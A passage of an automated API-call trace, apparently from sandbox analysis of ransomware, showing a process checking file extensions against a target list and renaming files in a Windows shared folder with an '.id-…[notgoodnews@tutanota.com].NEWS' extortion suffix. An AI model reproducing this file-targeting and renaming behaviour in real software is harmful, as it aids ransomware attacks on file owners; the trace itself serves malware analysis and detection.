(lpString=".doc") returned 4 [0206.289] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0206.289] lstrlenW (lpString=".docx") returned 5 [0206.289] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0206.289] lstrlenW (lpString=".pdf") returned 4 [0206.289] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0206.290] lstrlenW (lpString=".xls") returned 4 [0206.290] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0206.290] lstrlenW (lpString=".xlsx") returned 5 [0206.290] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0206.290] lstrlenW (lpString=".ppt") returned 4 [0206.290] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0206.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0206.290] lstrlenW (lpString=".zip") returned 4 [0206.290] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0206.290] lstrlenW (lpString=".rar") returned 4 [0206.290] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0206.290] lstrlenW (lpString=".bz2") returned 4 [0206.290] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0206.290] lstrlenW (lpString=".7z") returned 3 [0206.290] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0206.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0206.291] lstrlenW (lpString=".dbf") returned 4 [0206.291] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0206.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0206.291] lstrlenW (lpString=".1cd") returned 4 [0206.291] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0206.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0206.291] lstrlenW (lpString=".jpg") returned 4 [0206.291] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0206.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0206.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0206.291] lstrlenW (lpString=".doc") returned 4 [0206.292] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0206.292] lstrlenW (lpString=".docx") returned 5 [0206.292] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0206.292] lstrlenW (lpString=".pdf") returned 4 [0206.292] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0206.292] lstrlenW (lpString=".xls") returned 4 [0206.292] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0206.292] lstrlenW (lpString=".xlsx") returned 5 [0206.292] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0206.292] lstrlenW (lpString=".ppt") returned 4 [0206.292] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0206.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0206.292] lstrlenW (lpString=".zip") returned 4 [0206.293] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0206.293] lstrlenW (lpString=".rar") returned 4 [0206.293] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0206.293] lstrlenW (lpString=".bz2") returned 4 [0206.293] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0206.293] lstrlenW (lpString=".7z") returned 3 [0206.293] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0206.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0206.293] lstrlenW (lpString=".dbf") returned 4 [0206.293] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0206.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0206.293] lstrlenW (lpString=".1cd") returned 4 [0206.293] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0206.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0206.294] lstrlenW (lpString=".jpg") returned 4 [0206.294] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0206.294] lstrcmpiW (lpString1=".dat", lpString2=".NEWS") returned -1 [0206.294] lstrlenW (lpString="hwrusalm.dat") returned 12 [0206.294] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0206.295] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=3195696) returned 1 [0206.295] CloseHandle (hObject=0x308) returned 1 [0206.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0x20 [0206.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0206.296] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0206.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0206.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0206.297] lstrlenW (lpString=".doc") returned 4 [0206.297] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0206.297] lstrlenW (lpString=".docx") returned 5 [0206.297] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0206.345] lstrlenW (lpString=".pdf") returned 4 [0206.345] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0206.345] lstrlenW (lpString=".xls") returned 4 [0206.345] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0206.345] lstrlenW (lpString=".xlsx") returned 5 [0206.345] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0206.346] lstrlenW (lpString=".ppt") returned 4 [0206.346] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0206.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0206.346] lstrlenW (lpString=".zip") returned 4 [0206.346] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0206.346] lstrlenW (lpString=".rar") returned 4 [0206.346] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0206.346] lstrlenW (lpString=".bz2") returned 4 [0206.346] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0206.346] lstrlenW (lpString=".7z") returned 3 [0206.346] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0206.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0206.346] lstrlenW (lpString=".dbf") returned 4 [0206.346] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0206.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0206.347] lstrlenW (lpString=".1cd") returned 4 [0206.347] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0206.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0206.347] lstrlenW (lpString=".jpg") returned 4 [0206.347] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0206.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0206.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0206.347] lstrlenW (lpString=".doc") returned 4 [0206.347] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0206.347] lstrlenW (lpString=".docx") returned 5 [0206.347] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0206.348] lstrlenW (lpString=".pdf") returned 4 [0206.348] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0206.348] lstrlenW (lpString=".xls") returned 4 [0206.348] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0206.348] lstrlenW (lpString=".xlsx") returned 5 [0206.348] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0206.348] lstrlenW (lpString=".ppt") returned 4 [0206.348] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0206.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0206.348] lstrlenW (lpString=".zip") returned 4 [0206.348] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0206.349] lstrlenW (lpString=".rar") returned 4 [0206.349] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0206.349] lstrlenW (lpString=".bz2") returned 4 [0206.349] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0206.349] lstrlenW (lpString=".7z") returned 3 [0206.349] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0206.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0206.349] lstrlenW (lpString=".dbf") returned 4 [0206.349] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0206.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0206.349] lstrlenW (lpString=".1cd") returned 4 [0206.349] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0206.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0206.350] lstrlenW (lpString=".jpg") returned 4 [0206.350] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0206.350] lstrcmpiW (lpString1=".dat", lpString2=".NEWS") returned -1 [0206.350] lstrlenW (lpString="hwrusash.dat") returned 12 [0206.351] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0206.351] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=4120784) returned 1 [0206.351] CloseHandle (hObject=0x308) returned 1 [0206.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0x20 [0206.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0206.352] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0206.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0206.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0206.352] lstrlenW (lpString=".doc") returned 4 [0206.352] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0206.352] lstrlenW (lpString=".docx") returned 5 [0206.353] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0206.353] lstrlenW (lpString=".pdf") returned 4 [0206.353] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0206.353] lstrlenW (lpString=".xls") returned 4 [0206.353] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0206.353] lstrlenW (lpString=".xlsx") returned 5 [0206.353] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0206.353] lstrlenW (lpString=".ppt") returned 4 [0206.353] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0206.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0206.353] lstrlenW (lpString=".zip") returned 4 [0206.353] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0206.353] lstrlenW (lpString=".rar") returned 4 [0206.354] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0206.354] lstrlenW (lpString=".bz2") returned 4 [0206.354] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0206.354] lstrlenW (lpString=".7z") returned 3 [0206.354] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0206.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0206.354] lstrlenW (lpString=".dbf") returned 4 [0206.354] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0206.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0206.354] lstrlenW (lpString=".1cd") returned 4 [0206.354] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0206.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0206.354] lstrlenW (lpString=".jpg") returned 4 [0206.354] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0206.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0206.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0206.355] lstrlenW (lpString=".doc") returned 4 [0206.355] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0206.355] lstrlenW (lpString=".docx") returned 5 [0206.355] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0206.355] lstrlenW (lpString=".pdf") returned 4 [0206.355] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0206.355] lstrlenW (lpString=".xls") returned 4 [0206.355] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0206.355] lstrlenW (lpString=".xlsx") returned 5 [0206.355] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0206.356] lstrlenW (lpString=".ppt") returned 4 [0206.356] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0206.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0206.356] lstrlenW (lpString=".zip") returned 4 [0206.356] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0206.356] lstrlenW (lpString=".rar") returned 4 [0206.356] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0206.356] lstrlenW (lpString=".bz2") returned 4 [0206.356] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0206.356] lstrlenW (lpString=".7z") returned 3 [0206.356] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0206.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0206.356] lstrlenW (lpString=".dbf") returned 4 [0206.356] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0206.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0206.357] lstrlenW (lpString=".1cd") returned 4 [0206.357] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0206.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0206.357] lstrlenW (lpString=".jpg") returned 4 [0206.357] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0206.357] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0206.358] lstrlenW (lpString="ipscat.xml") returned 10 [0206.358] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0206.358] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=2592) returned 1 [0206.358] CloseHandle (hObject=0x308) returned 1 [0206.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0x20 [0206.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0206.359] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0206.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0206.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0206.359] lstrlenW (lpString=".doc") returned 4 [0206.359] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0206.359] lstrlenW (lpString=".docx") returned 5 [0206.359] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0206.359] lstrlenW (lpString=".pdf") returned 4 [0206.359] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0206.359] lstrlenW (lpString=".xls") returned 4 [0206.360] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0206.360] lstrlenW (lpString=".xlsx") returned 5 [0206.360] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0206.360] lstrlenW (lpString=".ppt") returned 4 [0206.360] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0206.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0206.360] lstrlenW (lpString=".zip") returned 4 [0206.360] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0206.361] lstrlenW (lpString=".rar") returned 4 [0206.361] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0206.361] lstrlenW (lpString=".bz2") returned 4 [0206.361] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0206.361] lstrlenW (lpString=".7z") returned 3 [0206.361] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0206.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0206.361] lstrlenW (lpString=".dbf") returned 4 [0206.361] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0206.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0206.361] lstrlenW (lpString=".1cd") returned 4 [0206.361] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0206.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0206.362] lstrlenW (lpString=".jpg") returned 4 [0206.362] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0206.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0206.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0206.362] lstrlenW (lpString=".doc") returned 4 [0206.362] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0206.362] lstrlenW (lpString=".docx") returned 5 [0206.362] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0206.362] lstrlenW (lpString=".pdf") returned 4 [0206.362] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0206.362] lstrlenW (lpString=".xls") returned 4 [0206.362] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0206.363] lstrlenW (lpString=".xlsx") returned 5 [0206.363] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0206.363] lstrlenW (lpString=".ppt") returned 4 [0206.363] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0206.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0206.363] lstrlenW (lpString=".zip") returned 4 [0206.363] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0206.363] lstrlenW (lpString=".rar") returned 4 [0206.363] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0206.363] lstrlenW (lpString=".bz2") returned 4 [0206.363] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0206.363] lstrlenW (lpString=".7z") returned 3 [0206.363] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0206.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0206.363] lstrlenW (lpString=".dbf") returned 4 [0206.363] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0206.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0206.364] lstrlenW (lpString=".1cd") returned 4 [0206.364] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0206.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0206.364] lstrlenW (lpString=".jpg") returned 4 [0206.364] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0206.364] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0206.365] lstrlenW (lpString="ipschs.xml") returned 10 [0206.365] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0206.366] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=2462) returned 1 [0206.367] CloseHandle (hObject=0x308) returned 1 [0206.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20 [0206.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0206.907] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0207.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0207.162] lstrlenW (lpString=".doc") returned 4 [0207.162] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.162] lstrlenW (lpString=".docx") returned 5 [0207.162] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0207.162] lstrlenW (lpString=".pdf") returned 4 [0207.162] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.162] lstrlenW (lpString=".xls") returned 4 [0207.162] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.162] lstrlenW (lpString=".xlsx") returned 5 [0207.162] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0207.163] lstrlenW (lpString=".ppt") returned 4 [0207.163] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0207.163] lstrlenW (lpString=".zip") returned 4 [0207.163] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.163] lstrlenW (lpString=".rar") returned 4 [0207.163] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.163] lstrlenW (lpString=".bz2") returned 4 [0207.163] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.163] lstrlenW (lpString=".7z") returned 3 [0207.163] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0207.163] lstrlenW (lpString=".dbf") returned 4 [0207.163] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0207.164] lstrlenW (lpString=".1cd") returned 4 [0207.164] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0207.164] lstrlenW (lpString=".jpg") returned 4 [0207.164] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0207.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0207.164] lstrlenW (lpString=".doc") returned 4 [0207.164] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.165] lstrlenW (lpString=".docx") returned 5 [0207.165] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0207.165] lstrlenW (lpString=".pdf") returned 4 [0207.165] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.165] lstrlenW (lpString=".xls") returned 4 [0207.165] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.165] lstrlenW (lpString=".xlsx") returned 5 [0207.165] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0207.165] lstrlenW (lpString=".ppt") returned 4 [0207.165] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0207.165] lstrlenW (lpString=".zip") returned 4 [0207.165] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.166] lstrlenW (lpString=".rar") returned 4 [0207.166] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.166] lstrlenW (lpString=".bz2") returned 4 [0207.166] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.166] lstrlenW (lpString=".7z") returned 3 [0207.166] lstrcmpiW (lpString1=".7z", 